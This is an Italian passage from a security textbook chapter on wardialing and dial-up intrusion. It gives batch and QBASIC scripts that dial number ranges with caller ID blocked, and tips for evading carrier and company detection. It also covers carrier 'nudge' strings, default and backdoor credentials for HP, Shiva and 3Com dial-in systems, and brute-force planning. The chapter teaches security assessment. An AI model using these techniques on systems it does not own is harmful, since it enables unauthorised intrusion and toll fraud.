ro ToneLoc viene riavviato: infatti, se il modem crea dei problemi il batch passerà all'esecuzione della riga di codice successiva, che provvede a chiamare un altro numero. Siccome ToneLoc viene eseguito su ogni nuovo numero, ogni riga di codice del batch lo riavvia e reinizializza il modem: questa modalità garantisce un wardialing chiaro e senza perdite di tempo, inoltre elimina la possibilità di blocco dei modem. Per di più, questa modalità non richiede alcun tempo di elaborazione aggiuntivo. La frazione di millisecondo che richiede lo spostamento alla riga seguente del file batch non è apprezzabilmente maggiore della frazione di millisecondo che occorre a ToneLoc per ripetere la composizione del numero. Stiamo cercando di ricreare qualcosa di simile a quanto illustrato (e via di seguito, fino al completamento della serie di numeri); ecco un esempio delle prime undici righe di WAR1.BAT:

```
toneloc 0000war1.dat /M:*6718005550000 > nul
toneloc 0001war1.dat /M:*6718005550001 > nul
toneloc 0002war1.dat /M:*6718005550002 > nul
toneloc 0003war1.dat /M:*6718005550003 > nul
toneloc 0004war1.dat /M:*6718005550004 > nul
toneloc 0005war1.dat /M:*6718005550005 > nul
toneloc 0006war1.dat /M:*6718005550006 > nul
toneloc 0007war1.dat /M:*6718005550007 > nul
toneloc 0008war1.dat /M:*6718005550008 > nul
toneloc 0009war1.dat /M:*6718005550009 > nul
toneloc 0010war1.dat /M:*6718005550010 > nul
```

Ogni riga di questo file batch avvia l'applicazione `toneloc`, crea un file con estensione `.dat`, utilizza l'opzione nativa di ToneLoc `/M` per visualizzare la maschera del numero (che sarà a sua volta un numero), attiva il blocco dell'identificazione del chiamante (*67), compone il numero e con `>nul` evita di mostrare a video il risultatoi dell'esecuzione del comando.

Tutto qui: e il vostro wardialing risulterà praticamente esente da errori. C'è ancora un parametro di TLCFG di cui tenere conto, se utilizzate la modalità batch: se, nella finestra di dialogo ScanOptions dell'utility TLCFG, cambiate in N il parametro *Save .DAT files*, i file .DAT non verranno salvati. In effetti, i file .DAT non servono, quindi occuperebbero inutilmente spazio su disco. La ricorrenza dell'istruzione `.DAT` in ogni riga del file batch di esempio appena visto è dovuta al fatto che ToneLoc ne ha bisogno per poter funzionare correttamente. Altre considerazioni importanti che possono essere fatte riguardano, per esempio, la costruzione di un file batch in cui i numeri non vengono composti in sequenza. Di default, l'utility TLCFG imposta la scansione dei numeri in ordine casuale, mediante un'opzione della finestra di dialogo ModemOptions: siccome, utilizzando il file batch, viene esaminato un solo numero alla volta, per ottenere l'effetto casuale bisognerà mescolarne in qualche modo le righe di codice. Molti software per fogli di calcolo sono dotati di routine di randomize, che provvedono a mescolare una serie di numeri. Altre considerazioni, come la randomizzazione dell'esecuzione, potrebbero risultare importanti: alcune compagnie telefoniche dispongono oggi di centralini "intelligenti", oppure di filtri che rilevano le composizioni di numeri telefonici di questo tipo e possono rendervi sospetti. La randomizzazione può anche aiutarvi a distribuire il wardialing nell'arco della giornata e a evitare che l'azienda, obiettivo della vostra azione, si insospettisca per un numero così elevato di chiamate. Gli scopi principali della randomizzazione sono quelli di evitare di generare dei sospetti e di non disturbare troppo un distretto telefonico.

Per costruire il file precedente (per un campione di 2000 numeri), si utilizza un semplice programma QBASIC che crea un file batch. Eccone un esempio:

```
'QBASIC Batch file creator, wrapper Program for ToneLoc
'Written y M4phr1k, www.m4phr1k.com, Stephan Barnes

OPEN "warl.bat" FOR OUTPUT AS #1
FOR a = 0 to 2000

a$ = STR$(a)
a$ = LTRIM$(a$b
'le 9 righe che seguono lavorano con le cifre 1thru10 10thru100
100thru10000
'dopo 1000 non avviene il troncamento
IF LEN(a$) = 1 THEN
a$ = "000" + a$
END IF
IF LEN(a$) = 2 THEN
a$ = "00" + a$
END IF
IF LEN(a$) = 3 THEN
a$ = "0" + a$
END IF
aa$ = a$ + "war1"
PRINT aa
PRINT #1, "toneloc" + aa$ + ".dat" + " /M:*671800555" + a$ + " > nul"
NEXT a
CLOSE #1
```

Con questo esempio, si crea un file batch pronto per essere eseguito nella directory che contiene gli eseguibili di ToneLoc. Per creare il file batch potete utilizzare qualsiasi linguaggio: QBASIC, del quale ci siamo serviti nell'esempio, è uno dei più semplici.

THC-Scan

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*8*
Fattore di rischio:	*8*

Il vuoto lasciato dalla scomparsa di ToneLoc è stato colmato da THC-Scan, sviluppato da van Hauser del gruppo tedesco di hacker The Hacker's Choice (`http://www.thehackerschoice.com`). Analogamente a ToneLoc, THC-Scan viene configurato ed eseguito da DOS, da una shell DOS in Win 9*x*, dalla console di Windows NT/2000, o in un emulatore DOS sotto UNIX.
Per prima cosa è necessario generare un file di configurazione (.CFG) per THC-Scan con il programma TS-CFG, che offre un maggiore controllo sulle funzionalità rispetto ai limiti di TLCFG per ToneLoc. Anche in questo caso, il grosso della configurazione è piuttosto semplice, ma una buona conoscenza del funzionamento delle porte COM su PC può tornare utile per impostazioni non standard. Le opzioni più diffuse sono riportate nella tabella a pagina seguente.

COM	IRQ	Porta I/O
1	4	3F8
2	3	2F8
3	4	3E8
4	3	2E8

In caso di necessità, il programma di utilità MOD-DET, compreso in THC-Scan, permette di risalire ai valori effettivi da utilizzare per questi parametri (potete ignorare eventuali errori riportati da Windows):

```
MODEM DETECTOR v2.00   (c) 1996,98 by van Hauser/THC
                                        <vh@reptile.rug.ac.be>
-------------------------------------------------------------
Get the help screen with :   MOD-DET.EXE ?

Identifying Options...
                Extended Scanning : NO
                Use Fossil Driver : NO  (Fossil Driver not present)
                Slow Modem Detect : YES
                Terminal Connect  : NO
                Output Filename   : <none>

Autodetecting modems connected to COM 1 to COM 4 ...
      COM 1 - None Found
      COM 2 - Found! (Ready)    [Irq: 3 _ BaseAdress: $2F8]
      COM 3 - None Found
      COM 4 - None Found

1 Modem(s) found.
```

Una volta creato il file .CFG di configurazione, si può procedere con il wardialing. La sintassi del comando THC-Scan è molto simile a quella di ToneLoc, con parecchie aggiunte. (L'elenco delle opzioni è troppo lungo per essere riproposto qui, ma è disponibile nella quarta parte del manuale `THC-SCAN.DOC` compreso nella distribuzione.) Anche come presentazione, THC-Scan assomiglia molto a ToneLoc, come si può vedere nella Figura 8.3.

La programmazione a livello quotidiano delle attività di wardialing è un processo manuale che utilizza i parametri `/S` e `/E` per specificare rispettivamente l'ora di inizio e fine e sfrutta funzionalità specifiche del sistema operativo, come l'utilità di pianificazione AT in Windows, per riavviare le scansioni all'orario desiderato ogni giorno. Di solito noi riportiamo i parametri di THC-Scan in un semplice file batch richiamato da AT. A questo proposito, è importante ricordare che `THC-SCAN.EXE` cerca il file .CFG solo nella directory corrente, a meno che non si specifichi diversamente con il parametro `/!`. Dato che AT esegue i comandi in *%systemroot%*, `THC-SCAN.EXE` non sarà in grado di trovare il file .CFG, a meno che non si fornisca un riferimento assoluto, come mostrato nel prossimo esempio, dove troviamo il file batch `thc.bat`:

```
@@@@@echo off
rem assicuratevi che thc-scan.exe sia nel path
rem path assoluto al file .cfg deve essere specificato con lo switch /! se
eseguito da
rem AT scheduler
```

```
C:\WINNT\System32\cmd.exe - thc-scan test /M:555-XXXX /R:1500-9999
        TIME                  STATISTIC                    LOG WINDOW
 Start » 22:11:21      Done    :    1       22:11:21 Auto Saving DAT File ...
  Now  » 22:13:11      To Do   : 8499       22:11:21 UnDialed : 9998
  ETA  » 06:04:41                           22:11:21 Excluded : 1500
                       Dials/H:  229        22:11:21 Done     : 0
 Timeout »  11/50                           22:11:21 To Do    : 8500
  Rings  »   0/6       Carrier:    1        22:11:21 Dialmask : 555XXXX
                       Tones   :   0        22:11:21 Range    : 1500-9999
                       UMB     :   1        22:11:21 Scan Mode: Carrier
        FOUND?         Voice   :   1        22:11:21 Dialing  : undialed, busy
 555-5824 CARRIER      Custom  :   0        22:11:21 Scan started
                       Busy    :   5        22:11:21 5554215 Busy(0) 25sec
                       Others  :   0        22:11:47 5555824 Connecting... Busy(0
                       2ndary  :   0        ) 25sec Carrier 25sec
                                            22:12:13 5551807 UMB(0) 1sec Carrier
            MODEM WINDOW                    1sec
 ATH                                        22:12:16 5555140 Busy(0) 25sec Carrie
 OK                                         r 25sec
 ATH                                        22:12:42 5555578 PAUSING(0) Redialing
 OK                                         (0) 7sec Carrier 9sec
 ATDT5555578                                22:12:51 5555578 Girl(0) 7sec Carrier
 NO CARRIER                                  7sec
 ATDT5555869                                22:13:00 5555869
   * FINAL *    THC-SCAN v2.00   (c) 1996,98 by van Hauser/THC    * FINAL *
```

Figura 8.3
THC-Scan e il wardialing.

```
rem prima di rieseguire uno scan, cambiare la directory con il file .DAT
appropriato
rem file e cancellate l'argomento /P:
C:\thc-scan\bin\THC-SCAN.EXE test /M:555-xxxx /R:0000-9999
/!:C:\thc-scan\bin\THC-SCAN.CFG /P:test /F /S:20:00 /E:6:00
```

Quando si avvia questo file batch, THC-Scan aspetta le 20, quindi inizia a comporre per fermarsi alle 6 di mattina. Per pianificare questo file batch in modo che venga eseguito tutti i giorni è sufficiente il seguente comando AT:

```
at 7:58P /interactive /every:1 C:\thc-scan\bin\thc.bat
```

THC-Scan identificherà il file .DAT corretto e riprenderà il lavoro dal punto in cui è stato interrotto la notte precedente, fino a esaurire i numeri da analizzare. Ricordatevi di eliminare la pianificazione del job utilizzando `at /delete` una volta completato il giro.

Se vi servite di più modem o più client in rete per effettuare il wardialing, van Hauser ha incluso un file batch di esempio (`NETSCAN.BAT`) nell'archivio `THC-MISC.ZIP` compreso nella distribuzione. Con piccole modifiche illustrate nella seconda parte di `THC-SCAN.DOC`, questa procedura batch è in grado di ripartire automaticamente un dato intervallo di numeri telefonici creando file .DAT distinti, che possono essere utilizzati su ciascun modem o client. Per impostare THC-Scan per l'uso di più modem, seguite questo esempio.

1. Create una directory distinta per ogni modem, ognuna contenente una copia di `THC-SCAN.EXE` e il file .CFG corrispondente al modem da utilizzare.
2. Modificate `NETSCAN.BAT` secondo quanto specificato in `THC-SCAN.DOC`. Assicuratevi di specificare il numero di modem disponibile con il comando `"SET CLIENTS="` nella sezione [2] di `NETSCAN.BAT`.

3. Utilizzando la copia di `THC-SCAN.EXE` nel percorso corrente, eseguite `netscan.bat [maschera di composizione] [numero dei modem]`.
4. Copiate i file .DAT generati nella directory di THC-Scan corrispondente a ogni modem. Per esempio, se avete eseguito `"netscan 555-XXXX 2"` per utilizzare due modem, copiate il file `2555XXXX.DAT` risultante nella directory relativa al modem numero 2 (per esempio, \thc-scan\bin2).

Durante la scansione per identificare le portanti (carrier), THC-Scan è in grado di inviare ai modem che rispondono alcune stringhe specificate nel file .CFG. Questa opzione può essere configurata con l'impostazione "Carrier Hack Mode" di TS-CFG. Per specificare le stringhe si utilizza l'opzione *Nudge*. L'impostazione predefinita è:

```
^~^~^~^~^~^M^~^M?^M^~help^M^~^~^~guest^M^~guest^M^~INFO^M^MLO
```

(dove `^~` è una pausa, e `^M` un ritorno a capo). Essa sembra funzionare piuttosto bene, ma se vi sentite ispirati potete adattarla all'obiettivo specifico che state affrontando.
Al termine della scansione bisognerebbe analizzare i vari log. Una delle funzionalità più interessanti di THC-Scan è la possibilità di catturare in un file di testo le richieste provenienti dai terminali remoti. Purtroppo, la gestione dei dati dipende molto da input manuali da parte dell'utente, e il wardialing può dar luogo a enormi quantità di dati da esaminare, tra cui gli elenchi dei numeri composti, delle portanti trovate, dei tipi di sistema identificati, e così via. THC-Scan riporta tutte queste informazioni in tre tipi di file: un file .DAT delimitato, un file .DB opzionale, che può essere importato in qualsiasi database che rispetti lo standard ODBC (l'opzione deve essere attivata con il parametro `/F`), e una serie di file di testo .LOG contenenti gli elenchi dei numeri occupati, delle portanti trovate e dei prompt del terminale. Il file delimitato .DB può essere rielaborato da qualsiasi strumento di gestione di database, ma non contiene le risposte ottenute dalle portanti identificate; l'associazione con i prompt del terminale registrati nel file `CARRIERS.LOG` avviene manualmente. Non si tratta di un ostacolo insormontabile, visto che è spesso necessario un certo livello di analisi manuale delle richieste dei terminali per proseguire nell'identificazione, ma il processo di ricostruzione di un report completo contenente i risultati chiave può diventare noioso, specie quando la scansione è estesa a grandi blocchi di numeri telefonici.
Il problema si fa più concreto in caso d'impiego di più modem. Come abbiamo visto, in questo caso è necessario configurare istanze di THC-Scan distinte, una per ogni modem disponibile, e ripartire manualmente tra i vari modem i blocchi di numeri da analizzare. Il programma di utilità `DAT-MERGE.EXE`, compreso in THC-Scan, è in grado di riunire i file .DAT risultanti, ma i log delle risposte devono essere gestiti ancora manualmente.

PhoneSweep

Diffusione:	*9*
Semplicità:	*4*
Impatto:	*5*
Fattore di rischio:	*5*

Se vi sembra che THC-Scan richieda molto lavoro manuale, allora PhoneSweep fa per voi (PhoneSweep, ora alla versione 4.4, è commercializzato da Sandstorm Enterprises, `http://www.sandstorm.net`). Mentre finora abbiamo dedicato molto tempo alla descrizione dell'impostazione e dell'utilizzo degli strumenti freeware per

wardialing, la presentazione di PhoneSweep sarà molto più breve, soprattutto perché c'è poco da dire che non sia già evidente nell'interfaccia utente, come mostrato nella Figura 8.4.

Figura 8.4

L'interfaccia grafica di PhoneSweep rappresenta un enorme passo in avanti rispetto ai wardialer freeware e offre una serie di funzionalità che semplificano l'utilizzo e ne aumentano l'efficienza.

Le caratteristiche principali che fanno emergere PhoneSweep rispetto alla concorrenza sono la semplicità dell'interfaccia grafica, la pianificazione automatica, l'analisi delle portanti, il supporto per più modem in parallelo, e le funzioni di reportistica. Per la composizione degli intervalli di numeri (detti *profile*) vengono utilizzati tutti i modem disponibili, fino al numero massimo supportato dalla versione o dalla configurazione correntemente utilizzata. La configurazione di PhoneSweep per la composizione durante le ore lavorative (Business Hours) e non (Outside Hours), o i week-end, o una composizione delle tre, è decisamente semplificata, come dimostra la Figura 8.5. L'orario di lavoro può essere definito dall'utente nella scheda *Options/Time*. PhoneSweep continua a comporre i numeri negli intervalli specificati (solitamente durante le ore non lavorative e nei fine settimana), fermandosi negli altri (per esempio, durante le ore lavorative), o in caso di "Blackout" definiti in *Options/Time*, e riprendendo dal punto di interruzione fino all'esaurimento dei numeri di telefono e/o al completamento dell'analisi dei modem identificati (se richiesta).
PhoneSweep è in grado di riconoscere automaticamente 470 differenti marche e modelli di dispositivi di accesso remoto (l'elenco completo è disponibile all'indirizzo `http://www.sandstorm.net/products/phonesweep//sysids.shtml`). Per farlo confronta le stringhe di testo o binarie ricevute dal sistema target con quelle contenute in un database di risposte conosciute. Questo significa che se il sistema è stato personalizzato in qualche modo, PhoneSweep potrebbe non riuscire a identificarlo.
Oltre al riconoscimento delle portanti standard, PhoneSweep è in grado di effettuare un attacco basato su un dizionario contro i modem identificati. Nella directory dell'applicazione è presente un semplice file contenente nomi utente e password (separati da tabulazioni) che viene dato in pasto ai modem che rispondono. Se il sistema riattacca, PhoneSweep richiama e continua fino a raggiungere il fondo dell'elenco (fate attenzione ai sistemi di inibizione automatica degli account se dovete verificare la sicurezza dei vostri server di accesso remoto). Sebbene questa caratteristica sembri garantire a PhoneSweep l'accesso alla rete, diverse prove di forzatura hanno prodotto falsi risultati positivi: è dunque consigliabile verificare sempre i risultati ottenuti utilizzando una procedura differente, per esempio connetten-

Figura 8.5
I parametri per la pianificazione di PhoneSweep sono semplici e consentono di adattare facilmente il funzionamento del programma alle proprie esigenze.

dovi al dispositivo in questione utilizzando un semplice software di comunicazione tra modem.

Un'altra utile caratteristica di PhoneSweep è la capacità di riportare in un file i risultati delle chiamate effettuate su tutti i modem disponibili, che elimina i problemi (tipici dei tool freeware) legati alle procedure di ricerca manuale di tali informazioni su più file di testo o alla raccolta e all'importazione di dati aventi formati diversi all'interno di fogli di calcolo. A questo scopo sono disponibili diverse opzioni. Anche per la personalizzazione dei report sono disponibili moltissime opzioni, c'è solo l'imbarazzo della scelta. In base a come il report viene personalizzato, presenta un'introduzione contenente informazioni realmente utili, riepiloghi operativi e tecnici delle attività e dei risultati, tabelle di statistiche, le risposte ottenute dai modem identificati (Appendice A, opzionale), e la "tassonomia" del blocco di numeri telefonici analizzato (Appendice B, anch'essa opzionale), il tutto salvato in un unico file in formato RTF (*Rich Text Format*). La Figura 8.6 riproduce una parte di un tipico report di PhoneSweep.

Ovviamente, la differenza principale tra PhoneSweep e i suoi concorrenti freeware è il costo. Al momento della stesura di questa edizione sono disponibili diverse versioni di PhoneSweep, acquistabili sul sito Web di PhoneSweep `http://www.sandstorm.net`. Il rispetto dei vincoli di licenza è garantito dall'uso di una chiave hardware che si collega alla porta parallela, in mancanza della quale non è possibile installare il software. A seconda del costo del lavoro necessario per installare, confi-

Executive Summary of PhoneSweep Scan

Profile Name:	BOSTON_OFFICE_1_AUG2001, BOSTON_OFFICE_2_AUG2001, BOSTON_OFFICE_3_AUG2001
Report Generated:	Friday, August 24 2001 13:53:06
Time of First Call:	Monday, August 06 2001 15:06:53
Time of Last Call:	Monday, August 06 2001 17:51:00
Elapsed Time During Scan:	2 hours, 45 minutes, 53 seconds
Phone Numbers Assigned to Dial:	74
Number of calls made:	176
Phone Numbers Dialed using Single Call Detect™:	74
Phone Numbers Dialed using Data-only Mode:	74
Phone Numbers Dialed using Fax-only Mode:	68
Phone Numbers Checked for Data:	74
Phone Numbers Checked for Fax:	68
Search for modems completed:	100.0%
Search for fax machines completed:	91.9%
Username/password guessing completed:	0.0%
Modems found:	22
Systems compromised:	n/a

When the report was generated, PhoneSweep was configured to scan for both fax machines and modems.

PhoneSweep was configured to only connect to modems, but not to identify or attempt to penetrate them.

There were a total of 176 simulated calls made in this profile when the report was generated.

Figura 8.6
Esempio di report PhoneSweep.

gurare e gestire l'output degli strumenti freeware, i 1000 dollari della versione base possono essere un prezzo ragionevole.

TeleSweep Secure

Diffusione:	9
Semplicità:	5
Impatto:	7
Fattore di rischio:	7

Simile nella funzionalità a PhoneSweep, TeleSweep Secure è un altro prodotto emergente, venduto attualmente dalla Secure Logix, all'indirizzo `http://www.securelogix.com`. Abbiamo già esaminato le funzionalità di PhoneSweep, e TeleSweep Secure le ricorda molto da vicino; pertanto la nostra esposizione sarà assai sintetica. Come nel caso di PhoneSweep, c'è ben poco da dire che non sia già evidente nell'interfaccia del programma.

Le caratteristiche che fanno emergere TeleSweep sono la sua interfaccia grafica, la pianificazione automatizzata, la personalizzazione dei messaggi di sistema, la pene-

trazione delle portanti, il supporto di modem multipli, la reportistica multilivello, e la possibilità di identificare automaticamente un gran numero di marche e modelli di dispositivi di accesso remoto. Inoltre, TeleSweep è facilmente configurabile per tenere in considerazione le ore lavorative (Business Hours) e non (Outside Hours), o i week-end, esattamente come PhoneSweep. Contrariamente a quest'ultimo tuttavia, TeleSweep non richiede alcuna chiave hardware speciale di sicurezza: inoltre, TeleSweep consente agli amministratori di gestire da remoto i modem di impresa, attraverso l'interfaccia denominata Dialer Manager. Questa caratteristica può essere assai utile agli amministratori per rivedere e tenere sotto controllo costante i modem da qualsiasi sede. Infine, TeleSweep fa uso dell'algoritmo di crittografia Triple DES per tutto il traffico di amministrazione che transita su Internet. Mentre questo testo viene scritto, TeleSweep Secure 3.0 dispone di una vasta gamma di funzionalità che lo rendono un'interessante alternativa a PhoneSweep. Come accadeva con PhoneSweep, per poter considerare affidabili i risultati del test di penetrazione della rete di TeleSweep li si deve verificare con metodi diversi, dal momento che anche con questo software sono stati riscontrati casi di falsi esiti positivi.

Tecniche di attacco delle portanti

Diffusione:	*9*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*7*

La stessa attività di wardialing potrebbe evidenziare modem poco protetti, ma il più delle volte è necessario esaminare attentamente i report ed effettuare ulteriori tentativi manuali per stabilire esattamente quanto sia vulnerabile una certa connessione telefonica. Per esempio, il seguente estratto (opportunamente epurato) di un file `found.log` di ToneLoc mostra la visualizzazione tipica dei risultati (non riportati per intero per brevità):

```
7-NOV-2002 20:35:15 9,5551212 C: CONNECT 2400

HP995-400:_
Expected a HELLO command. (CIERR 6057)

7-NOV-2002 20:36:15 9,5551212 C: CONNECT 2400

@ Userid:
Password?
Login incorrect

7-NOV-2002 20:37:15 9,5551212 C: CONNECT 2400

Welcome to 3Com Total Control HiPer ARC (TM)
Networks That Go The Distance (TM)
login:
Password:
Login Incorrect

7-NOV-2002 20:38:15 9,5551212 C: CONNECT 2400

._Please press <Enter>..._I PJack Smith         _          JACK SMITH
[CARRIER LOST AFTER 57 SECONDS]
```

Abbiamo scelto di proposito questi esempi per chiarire una questione fondamentale sull'analisi dei log: un certo livello di esperienza con un buon numero di server dial-up e sistemi operativi diversi è assolutamente indispensabile. Per esempio, la prima risposta sembra provenire da un sistema HP ("HP995-400"), ma la successiva stringa a proposito di un fantomatico comando "HELLO" è piuttosto oscura. Anche collegandosi manualmente a questo sistema con un normale software di terminale dati, impostato per l'emulazione di un terminale VT-100 con il protocollo ASCII, si ottengono risultati altrettanto imperscrutabili, a meno che l'hacker non conosca i sistemi Hewlett-Packard di livello intermedio MPE-XL e sappia che la sintassi per il login è "HELLO USER.ACCT", seguita dalla password, quando viene richiesta. In tal caso, si può effettuare questo tentativo:

```
CONNECT 57600
HP995-400: HELLO FIELD.SUPPORT
PASSWORD= TeleSup
```

"FIELD.SUPPORT" e "TeleSup" sono il nome e la password di un account predefinito abbastanza comuni. Bastano un po' di ricerca e una solida preparazione per riconoscere i varchi dove gli altri vedono solo solide mura.
Il secondo esempio è più semplice: la sintassi "@Userid" è tipica dei server per accesso remoto LANRover della Shiva Corp (se ne può trovare ancora qualcuno, sebbene Intel ne abbia sospeso la produzione). Sapendo questo, è sufficiente una veloce ricerca sul sito `http://www.intel.com/network/shiva/` per avere altre informazioni sui LANRover. In questo caso si potrebbe tentare "supervisor" o "admin" con password nulla: sarete sorpresi di scoprire con quanta frequenza possa funzionare questa banalissima combinazione (colpa della pigrizia degli amministratori).
Il terzo esempio sottolinea ulteriormente quanto possa essere devastante la conoscenza anche generica del produttore e del modello del sistema che risponde. È nota l'esistenza di un account backdoor nei dispositivi di accesso remoto TotalControl HiPer ARC della 3Com ("adm" con password nulla). In pratica, questo sistema è spalancato, a meno che nel frattempo non sia stata implementata una soluzione.
L'ultimo esempio riporta la risposta tipica del software per controllo remoto pcAnywhere della Symantec. Se il proprietario del sistema "JACK SMITH" è abbastanza furbo e ha impostato una password anche solo minimamente complicata, probabilmente non vale la pena di perdere tempo su questo sistema, ma due utenti pcAnywhere su tre non si prendono mai il disturbo di impostarne una (sì, possiamo confermarlo personalmente).
Vorremmo anche sottolineare come le portanti non siano l'unico oggetto interessante identificabile con una scansione di wardialing. Fra i trofei più desiderati dagli hacker troviamo anche centralini e sistemi di messaggistica vocale. In particolare, i centralini configurati in modo da consentire chiamate in uscita da remoto, rispondono con un secondo segnale di libero se viene fornito il codice corretto. Se non adeguatamente protette, queste funzionalità possono consentire all'hacker di effettuare chiamate ovunque nel mondo a spese vostre. Non trascurate questi aspetti quando presenterete l'esito dell'analisi di wardialing ai vostri superiori.
La trattazione esaustiva delle possibili risposte fornite dai sistemi dial-up remoti richiederebbe gran parte di questo libro, ma ci auguriamo di aver fornito qualche esempio significativo dei diversi sistemi che si possono incontrare durante lo studio della sicurezza di un'organizzazione. Cercate di mantenere una mentalità aperta, e chiedete consiglio ad altri, compresi i produttori. Probabilmente, potete ancora trovare documentazione riguardante gli attacchi dei banner e delle portanti sul sito Wall of Voodoo di Stephan Barnes, che è interamente dedicato alla comunità del wardialing, all'indirizzo Web `www.m4phr1k.com`: questo sito è stato sempre aggiornato, durante le diverse edizioni di questo libro, sulla situazione del wardialing e dell'hacking dei centralini PBX e dei sistemi voice mail.

Supponiamo che abbiate trovato un sistema che richiede nome utente e password non banali. Come si procede? Si sperimentano attacchi basati su dizionari e forza bruta, ovviamente! Come abbiamo già accennato, PhoneSweep e TeleSweep offrono funzionalità per la decodifica delle password (sulle quali dovete fare doppio clic), ma per i fautori del fai-da-te esistono valide alternative, come Login Hacker di THC, che è sostanzialmente un compilatore di script simil-DOS (alcuni script di esempio sono già compresi). Abbiamo anche visto procedure più complesse, scritte nel linguaggio ASPECT di Procomm Plus, che fanno tre tentativi, richiamano dopo che il sistema target ha riagganciato, ne fanno altri tre, e così via. In generale, questo tipo di intrusione "rumorosa" è sconsigliabile nel caso di sistemi dial-up, ed è con ogni probabilità illegale se non siete i proprietari del sistema. Comunque, se dovete testare la sicurezza di sistemi di cui siete i proprietari, questo diventa in pratica un test di intrusione di forza bruta.

Script di forza bruta: il metodo interno

Una volta che sono disponibili i risultati ottenuti dall'output di una sessione wardialer, il passo successivo consiste nel classificare i risultati nei cosiddetti *domini*. Come abbiamo già detto, un certo livello di esperienza con un buon numero di server di accesso remoto e sistemi operativi diversi è assolutamente indispensabile. La scelta dei successivi sistemi da attaccare dipende da una serie di fattori, tra cui il tempo a disposizione, lo sforzo e la capacità computazionale a disposizione e le capacità personali di programmazione degli script.
Richiamare i modem in ascolto individuati in precedenza, utilizzando un semplice software di comunicazione, è il primo passo fondamentale per cercare di inserire i risultati nei domini da utilizzare poi per i tentativi di intrusione. Quando si esegue una chiamata su una connessione in ascolto, è importante cercare di capire le caratteristiche della connessione. Questo tornerà utile nel momento in cui cercheremo di raggruppare le connessioni individuate in domini per i successivi tentativi di intrusione. Una connessione modem è caratterizzata da alcuni importanti fattori che è bene tenere presente in fase di creazione degli script. In generale è necessario identificare:

- se la connessione è caratterizzata da una soglia temporale o basata sul numero di tentativi di connessione;
- se il superamento della soglia rende la connessione inutilizzabile, come talvolta accade;
- se è possibile eseguire la connessione solo in determinati momenti;
- se è possibile ipotizzare il livello di autenticazione (ovvero, di tipo solo nome utente o nome utente e password);
- se la connessione dispone di un metodo di identificazione univoco che assomiglia a una risposta a una parola challenge del tipo SecureID;
- se è possibile determinare il numero massimo di caratteri in risposta ai campi nome utente e password;
- se è possibile ottenere informazioni aggiuntive sul carattere alfanumerico o speciale dei campi nome utente o password;
- se è possibile ottenere informazioni aggiuntive digitando altri tipi di sequenze di interruzione come per esempio CTRL-C, CTRL-Z, ?, e così via;
- se i banner di sistema sono disponibili o sono stati modificati rispetto ai primi tentativi di ricerca eseguiti e il tipo di informazione esposta. Queste informazioni possono essere utili contro i tentativi di attacco o l'utilizzo di nozioni di ingegneria sociale.

Una volta in possesso di queste informazioni, è possibile di solito inserire le connessioni in quelli che a grandi linee vengono denominati *domini di intrusione tramite wardialing*. A scopo illustrativo, possiamo dire che in genere è necessario prendere in considerazione quattro domini, per effettuare una penetrazione della rete mediante tecniche semplici per tentativi successivi: la zona che per prima dovrà essere espugnata prenderà il nome di LHF (*Low Hanging Fruit*, letteralmente "frutto facilmente raggiungibile"), e deve essere quella che produce maggiori risultati in termini di possibilità offerte all'intrusore. Gli altri domini da forzare si basano soprattutto sul numero dei meccanismi di autenticazione e sul numero dei tentativi consentiti per tentare di accedere a essi. Prima di utilizzare tecniche di attacco a forza bruta sappiate che la loro percentuale di successo è molto inferiore a quella dell'attacco LHF, ma che nonostante tutto vi spiegheremo in dettaglio come scrivere uno script di questo tipo, se vorrete proseguire nella lettura. Pertanto, è possibile classificare i domini come mostrato nella tabella seguente.

1. LHF («Low Hanging Fruit», ossia «Frutto facilmente raggiungibile»)	Password utilizzate più comunemente o di facile individuazione per sistemi identificabili (qui conta l'esperienza).
2. Autenticazione singola, numero illimitato di tentativi	Sistemi con un solo tipo di password o nome utente e in cui la connessione modem non viene interrotta dopo un certo numero di tentativi falliti.
3. Autenticazione singola, numero limitato di tentativi	Sistemi con un solo tipo di password o nome utente, in cui la connessione modem viene interrotta dopo un numero predefinito di tentativi falliti.
4. Autenticazione doppia, numero illimitato di tentativi	Sistemi con due tipi di meccanismi di autenticazione, per esempio nome utente e password, e in cui la connessione modem non viene interrotta dopo un numero predefinito di tentativi falliti.*
5. Autenticazione doppia, numero limitato di tentativi	Sistemi con due tipi di meccanismi di autenticazione, per esempio nome utente e password, e in cui la connessione modem viene interrotta dopo un numero predefinito di tentativi falliti.*

* L'autenticazione doppia è un'autenticazione a due fattori non comune, in cui all'utente viene richiesto di fornire due tipi di credenziali: qualcosa che ha e qualcosa che conosce.

In generale, più si scende nell'elenco dei domini, più tempo è richiesto per introdursi nel sistema. Scendendo nell'elenco dei domini, il processo di script diventa più critico a causa del numero di azioni che devono essere eseguite. Esaminiamo ora in maniera più approfondita i diversi domini.

Low-Hanging Fruit

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*10*

Questo dominio delle connessioni telefoniche è quello che richiede meno tempo e se siete fortunati è anche quello che vi dà una soddisfazione immediata. Poiché non richiede script, è basato essenzialmente su un processo di deduzione. Sarebbe impossibile elencare tutti i nomi utente e le password più comuni utilizzate per tutti i sistemi che accettano chiamate in entrata; quindi non ci proveremo. In questo testo

e su Internet abbondano gli elenchi e i riferimenti che possono essere utilizzati per provare a indovinare i nomi utente e le password: uno di questi esempi su Internet è disponibile all'indirizzo `http://www.sat.mksecure.com/defpw/` e contiene utenti e password predefiniti per molti sistemi conosciuti. Anche in questo caso, l'esperienza che deriva dall'avere esaminato una moltitudine di risultati prodotti da sessioni di wardialing è di notevole aiuto.
La possibilità di identificare la firma o l'immagine di un certo tipo di sistema dial-up consente di gettare le basi da cui partire per utilizzare i nomi utente e le password predefinite del sistema. Qualunque sia l'elenco utilizzato o consultato, il segreto consiste nel non impiegare più del tempo necessario per esaurire tutte le combinazioni di nome utente e password predefinite, e in caso di insuccesso passare al dominio successivo.

Autenticazione singola, numero illimitato di tentativi

Diffusione:	*9*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Il nostro primo dominio attaccato a forza bruta è in teoria quello che richiede meno tempo per accedere al sistema (a parte LHF), ma può anche essere quello più difficile da catalogare. Infatti ciò che può sembrare un meccanismo di autenticazione singola, come quello mostrato nell'esempio seguente (si veda il Listato 8.1a), potrebbe rivelarsi un'autenticazione doppia, dopo che è stato individuato il nome utente corretto (si veda il Listato 8.1b).
